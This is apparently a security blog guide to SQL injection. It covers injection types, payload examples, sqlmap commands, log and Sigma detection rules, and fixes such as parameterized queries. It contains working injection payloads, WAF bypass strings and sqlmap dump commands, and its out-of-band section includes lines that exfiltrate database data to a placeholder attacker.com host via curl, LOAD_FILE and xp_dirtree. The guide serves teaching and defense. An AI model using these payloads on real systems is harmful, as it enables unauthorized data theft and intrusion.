In January 2025, attackers exploited a SQL injection flaw in PostgreSQL (CVE-2025-1094) to breach BeyondTrust’s Remote Support platform. The intrusion chain ended at the US Treasury Department. The vulnerability? Improper handling of user input in a database query — the same class of bug that Bobby Tables made famous in a webcomic twenty years ago.
SQL injection has been OWASP’s #1 or #3 vulnerability for nearly two decades. It should be solved by now. It isn’t.
TL;DR
- SQL injection manipulates database queries by injecting SQL syntax through user-controlled input
- Five main types: classic (in-band), blind boolean, blind time-based, out-of-band, and second-order
- Still responsible for significant data breaches in 2025-2026 — including infrastructure used by US government agencies
- The fix is straightforward: parameterized queries everywhere, least privilege database accounts, WAF as secondary layer
- Modern ORMs reduce risk but don’t eliminate it — raw query escape hatches are still everywhere
Why SQL Injection Still Exists in 2026
The fix for SQL injection has been known since the late 1990s: separate code from data. Use parameterized queries (also called prepared statements), and user input can never be interpreted as SQL syntax.
So why does it keep appearing in breach reports?
Legacy code. Developers under deadline pressure who use string concatenation because it’s faster. ORMs (Object-Relational Mappers) that provide a .raw() escape hatch for complex queries. Third-party plugins that haven’t been updated. Database layers in microservices that nobody owns. Framework defaults that allow dynamic queries.
The vulnerability is simple. The organizational and technical debt behind it is not.
How SQL Injection Works: The Core Concept
A web application typically builds database queries using data provided by the user. A login form might build this query behind the scenes:
-- The application builds this query from user inputSELECT * FROM users WHERE username = 'alice' AND password = 'secret123'If the application inserts the username directly into the query string without validation, an attacker can submit:
Username: admin'--Password: anythingThe resulting query becomes:
-- The '--' starts a SQL comment, ignoring the password check entirelySELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'The password condition is commented out. The query returns the admin user. The attacker is logged in as admin with no valid password.
This is the essence of SQL injection: user input is interpreted as SQL syntax instead of being treated as plain data. Everything else — blind injection, time-based attacks, second-order injection — is a variation on this same theme.
Type 1: Classic (In-Band) SQL Injection
In-band means the attacker uses the same channel (the web response) to both inject the SQL and receive the results. It’s the most direct form — you inject, and the answer comes back immediately in the page.
Error-Based Injection
If the application displays database error messages, an attacker can extract information through those errors:
-- Input designed to force an informative error' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))--MySQL might respond with an error containing:
XPATH syntax error: '~8.0.32-MySQL Community Server'The database version is now in the error message. The same technique works to extract table names, column names, and eventually data.
UNION-Based Injection
UNION attacks append a second SELECT statement to the original query, merging its results into the response:
-- First, figure out how many columns the original query returns' ORDER BY 1-- -- No error' ORDER BY 2-- -- No error' ORDER BY 3-- -- Error: column count mismatch -> original query has 2 columns
-- Now UNION in a second query to extract data' UNION SELECT username, password FROM users--If the application displays the query results, the usernames and passwords now appear in the page alongside the normal content.
| Scenario | Works When |
|---|---|
| Error-based | Application displays database errors |
| UNION-based | Application displays query results on the page |
| Both | Application is misconfigured and exposes database feedback |
Type 2: Blind Boolean-Based Injection
Most modern applications don’t display database errors or raw query results. They just show “Login failed” or “User not found.” Blind injection works when you can’t see the data directly — but you can ask true/false questions and infer the answer from the application’s behavior.
-- Ask: is the first character of the admin password greater than 'a'?' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') > 'a'--
-- Application shows: "Welcome back, admin!" (true branch)-- vs "Invalid credentials" (false branch)By binary-searching through possible characters, an attacker can reconstruct the entire database one bit at a time. It’s slow — extracting a single password hash might take hundreds of requests — but it works reliably against applications that show no error output whatsoever.
Modern tools like sqlmap automate this completely. What takes a human hours, sqlmap completes in seconds.
Type 3: Time-Based Blind Injection
Sometimes an application’s behavior doesn’t change at all based on true/false conditions — it always returns the same response. Time-based injection introduces a measurable delay when a condition is true:
-- MySQL: if the first character of the DB name is 'a', wait 5 seconds' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)--
-- PostgreSQL equivalent'; SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users--
-- Microsoft SQL Server'; IF (SELECT COUNT(*) FROM users WHERE username='admin') > 0 WAITFOR DELAY '0:0:5'--The attacker measures response time. A 5-second delay means the condition was true. No delay means false. Repeat 50 times and you’ve extracted a value character by character.
This technique works even against applications that return identical responses to every request. The only signal is time — and it’s enough.
The PostgreSQL CVE-2025-1094 Connection
The 2025 US Treasury breach exploited a PostgreSQL vulnerability where improperly sanitized input in the psql interactive terminal could be manipulated to achieve arbitrary SQL execution. The attack chain then used that SQL access to escalate privileges within the BeyondTrust infrastructure. Time-based techniques were part of the initial fingerprinting that confirmed the injectable parameter before full exploitation.
Type 4: Out-of-Band (OOB) Injection
Out-of-band injection doesn’t rely on the HTTP response at all. Instead, it makes the database server initiate an outbound connection — DNS lookup, HTTP request, or SMB connection — to an attacker-controlled server, carrying data in the request itself.
-- MySQL: trigger a DNS lookup containing the current database name' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.attacker.com\\file'))--
-- Microsoft SQL Server: use xp_dirtree to trigger outbound SMB'; EXEC master..xp_dirtree '\\attacker.com\share'--
-- PostgreSQL: use COPY to send data via external connection'; COPY (SELECT current_user) TO PROGRAM 'curl http://attacker.com/?u='||current_user||''--The attacker runs a DNS server or HTTP listener at their domain. When the database server resolves the hostname or hits the URL, the data arrives as part of the request — completely bypassing any restriction on HTTP responses.
OOB injection is particularly useful when:
- The application returns no useful output (blind scenario)
- Time-based delays are filtered or unreliable
- A WAF blocks response manipulation but not outbound connections
- The database server has network egress (common misconfiguration)
Type 5: Second-Order (Stored) Injection
Second-order injection is the most dangerous type from a detection standpoint, because the injection doesn’t execute at the point of input — it executes later, in a completely different context.
The attack flow:
- Attacker registers a username:
admin'-- - Application stores it safely (sanitized for the INSERT query)
- Later, the application retrieves that username to build a different query — an UPDATE, a password reset, an admin lookup — without re-sanitizing
- The stored payload executes in the new context
-- Step 1: Registration looks safeINSERT INTO users (username) VALUES ('admin''--') -- Escaped, stored as: admin'--
-- Step 2: Password change later uses the stored value unsanitizedUPDATE users SET password='newpass' WHERE username='admin'--'
-- The '--' comments out any further conditions-- This updates the 'admin' account, not the attacker's accountSecond-order injection bypasses input validation entirely because the malicious data enters through a “safe” path and detonates elsewhere. Automated scanners often miss it. Code reviews miss it. It’s found most reliably through manual testing and code auditing.
Practical Exploitation: Using sqlmap
sqlmap is the standard tool for automated SQL injection detection and exploitation. It handles all five injection types, fingerprints the database engine, and can extract data automatically.
# Basic scan — test all parameters in a URLsqlmap -u "https://target.com/search?q=test"
# Test a POST request (capture the request with Burp, save to req.txt)sqlmap -r req.txt
# Specify the injection technique (B=boolean, T=time, U=UNION, E=error, S=stacked)sqlmap -u "https://target.com/item?id=1" --technique=BEUST
# Fingerprint the database without extracting datasqlmap -u "https://target.com/item?id=1" --banner --current-user --current-db
# Extract all tables from a specific databasesqlmap -u "https://target.com/item?id=1" -D target_db --tables
# Dump a specific tablesqlmap -u "https://target.com/item?id=1" -D target_db -T users --dump
# Bypass basic WAF filteringsqlmap -u "https://target.com/item?id=1" --tamper=space2comment,randomcasesqlmap’s --tamper scripts modify the injection payloads to bypass WAF rules. Over 50 tamper scripts exist for common WAF products — randomizing case, encoding characters, inserting comments, splitting keywords.
Manual Testing Checklist
Before reaching for sqlmap, a quick manual check reveals whether a parameter is injectable:
# Step 1: Break the query with a single quotehttps://target.com/item?id=1'
# Step 2: Fix the syntax error with commentshttps://target.com/item?id=1'--https://target.com/item?id=1'/*
# Step 3: Boolean testhttps://target.com/item?id=1 AND 1=1 (should return normal)https://target.com/item?id=1 AND 1=2 (should return empty/different)
# Step 4: Time-based confirmationhttps://target.com/item?id=1; SELECT SLEEP(5)--If the boolean tests return different results, the parameter is injectable in-band. If the SLEEP causes a 5-second delay, time-based injection works.
Detection: What SQL Injection Looks Like in Logs
Web Application Firewall and Access Logs
SQL injection leaves distinctive patterns in access logs:
# Classic injection attempts in URL parameters/search?q=1'%20OR%20'1'='1/login?user=admin'--&pass=x/item?id=1%20UNION%20SELECT%201,2,3--
# Time-based attempts (look for requests with unusually high response times)/api/user?id=1;SELECT+SLEEP(5)--
# sqlmap's default user agent (often not changed by attackers)User-Agent: sqlmap/1.7.xA Sigma rule targeting these patterns:
title: SQL Injection Attempt in HTTP Requestdetection: selection: c-uri|contains: - "' OR '" - "UNION SELECT" - "' AND 1=1" - "SLEEP(" - "WAITFOR DELAY" - "pg_sleep" - "' --" - "1=1--" condition: selectionlevel: hightags: - attack.initial_access - attack.t1190Anomaly-Based Detection
Pattern matching catches known payloads but misses obfuscated ones. Anomaly detection catches behavior that’s abnormal regardless of payload:
- Parameter length anomalies: A
usernamefield that normally contains 5-20 characters suddenly receiving 500-character input - Response time anomalies: Database queries that normally complete in 50ms suddenly taking 5+ seconds (time-based injection)
- Error rate spikes: A sudden increase in 500 errors from database query failures
- Repeated similar requests: sqlmap’s automated probing generates dozens of near-identical requests in rapid succession
Database-Level Logging
Enable query logging on the database itself for highest-fidelity detection:
-- MySQL: enable general query logSET GLOBAL general_log = 'ON';SET GLOBAL general_log_file = '/var/log/mysql/general.log';
-- PostgreSQL: log all statementsALTER SYSTEM SET log_statement = 'all';SELECT pg_reload_conf();
-- Monitor for UNION, SLEEP, information_schema queries from app accountsApp service accounts should never query information_schema, execute SLEEP(), or run UNION selects. These are red flags in database logs regardless of what the WAF saw.
Defense: How to Actually Fix It
Parameterized Queries — The Only Real Fix
Parameterized queries (prepared statements) separate SQL structure from data. User input is passed as a parameter and the database driver handles it as pure data — it can never be interpreted as SQL syntax.
# VULNERABLE: string concatenationusername = request.form['username']query = f"SELECT * FROM users WHERE username = '{username}'"cursor.execute(query)
# SAFE: parameterized queryusername = request.form['username']query = "SELECT * FROM users WHERE username = %s"cursor.execute(query, (username,)) # username is data, never SQL// VULNERABLE: template literal in Node.jsconst query = `SELECT * FROM users WHERE id = ${req.params.id}`;
// SAFE: parameterized with node-postgresconst query = 'SELECT * FROM users WHERE id = $1';const result = await pool.query(query, [req.params.id]);// VULNERABLE: string concatenation in JavaString query = "SELECT * FROM users WHERE id = " + userId;
// SAFE: PreparedStatementPreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");stmt.setInt(1, userId);Parameterized queries work across all database types and all languages. There are no exceptions or edge cases that break them. They are the correct fix.
ORM Pitfalls — False Security
ORMs like Django ORM, SQLAlchemy, Hibernate, and Prisma use parameterized queries by default. But every ORM provides a raw query escape hatch, and that’s where injection re-enters:
# Django ORM — safe by defaultUser.objects.filter(username=username)
# Django ORM — VULNERABLE raw queryUser.objects.raw(f"SELECT * FROM auth_user WHERE username = '{username}'")
# SQLAlchemy — VULNERABLE text() without bindparamsdb.execute(text(f"SELECT * FROM users WHERE name = '{name}'"))
# SQLAlchemy — safedb.execute(text("SELECT * FROM users WHERE name = :name"), {"name": name})Audit every .raw(), text(), query() with string formatting, or direct cursor use in your codebase. These are the injection points in modern applications.
Principle of Least Privilege
A SQL injection vulnerability’s blast radius depends entirely on what the database account can do. If the application’s database account only has SELECT on the tables it needs, an injection can read data but can’t drop tables, execute OS commands, or write files.
-- Create a restricted application userCREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_password';
-- Grant only what's necessaryGRANT SELECT, INSERT, UPDATE ON app_db.users TO 'app_user'@'localhost';GRANT SELECT ON app_db.products TO 'app_user'@'localhost';
-- Never grant these to application accounts-- GRANT ALL PRIVILEGES ...-- GRANT FILE ... -- read/write OS files-- GRANT SUPER ... -- admin operations-- GRANT EXECUTE ON sys.* -- dangerous stored proceduresA properly restricted database account converts a critical SQL injection into a medium-severity data exposure — bad, but not catastrophic.
WAF as a Secondary Layer
A Web Application Firewall (WAF) catches known SQL injection signatures before they reach the application. It’s a useful secondary defense but should never be the primary one — attackers regularly bypass WAFs with encoding, obfuscation, and sqlmap tamper scripts.
Common WAF bypass techniques:
| Bypass | Example |
|---|---|
| Comment insertion | UN/**/ION SE/**/LECT |
| Case randomization | uNiOn SeLeCt |
| URL encoding | %55NION %53ELECT |
| Double encoding | %2555NION |
| Whitespace alternatives | UNION%09SELECT (tab) |
Use a WAF, but fix the underlying code. Don’t rely on the WAF to compensate for parameterization you skipped.
What You Can Do Today
If you’re a developer:
- Run a search across your codebase for
f"SELECT,"SELECT " +, and.raw(— these are string-concatenated queries. Replace every one with parameterized equivalents. - Review your ORM’s documentation for “raw queries” and audit every usage.
- Check your database account’s privileges. If the app account has
ALL PRIVILEGES, scope it down.
If you’re a pentester:
- Add
',", and1=1--to every parameter in scope. Check for error messages, behavioral differences, and response time anomalies. - Run sqlmap with
--level=3 --risk=2for thorough coverage including HTTP headers and cookies. - Don’t forget second-order injection — test stored values (usernames, profile fields) by checking how they’re used in other functions.
If you’re on the blue team:
- Enable slow query logging on your databases and alert on queries exceeding 3-5 seconds — this catches time-based injection.
- Set up a Sigma rule or WAF signature for
UNION SELECT,SLEEP(,WAITFOR DELAY, andinformation_schemaappearing in request parameters. - Review database account privileges. Most application accounts are over-privileged.
For everyone:
- Run your application through OWASP ZAP or sqlmap against a staging environment. You might be surprised what turns up.
SQL injection is old, well-understood, and completely preventable. The only reason it still appears in 2026 breach reports is that the fix requires going back through existing code, and existing code is the part that nobody has time for — until it shows up in a breach notification.
Related Posts
- Web Penetration Testing in 2026: The Complete Methodology — Full web testing methodology including SQL injection in context
- XSS: Cross-Site Scripting Complete Guide — The injection-class attack targeting the browser instead of the database
- SSRF: Server-Side Request Forgery Complete Guide — Another server-side injection class with similar exploitation patterns
- API Security: JWT, OAuth, and GraphQL Attacks — APIs are increasingly common SQLi targets via GraphQL and REST parameters
- IDOR: Insecure Direct Object Reference Complete Guide — Often combined with SQLi for complete data access
Sources
- OWASP — SQL Injection
- OWASP — SQL Injection Prevention Cheat Sheet
- BleepingComputer — Hackers steal data of 2 million in SQL injection, XSS attacks
- BleepingComputer — Freepik data breach: Hackers stole 8.3M records via SQL injection
- OX Security — Lessons from the PostgreSQL CVE-2025-1094 Exploitation
- PortSwigger — SQL Injection
- sqlmap — Automatic SQL Injection Tool
- Dark Reading — SQL Injection Attacks Represent Two-Thirds of All Web App Attacks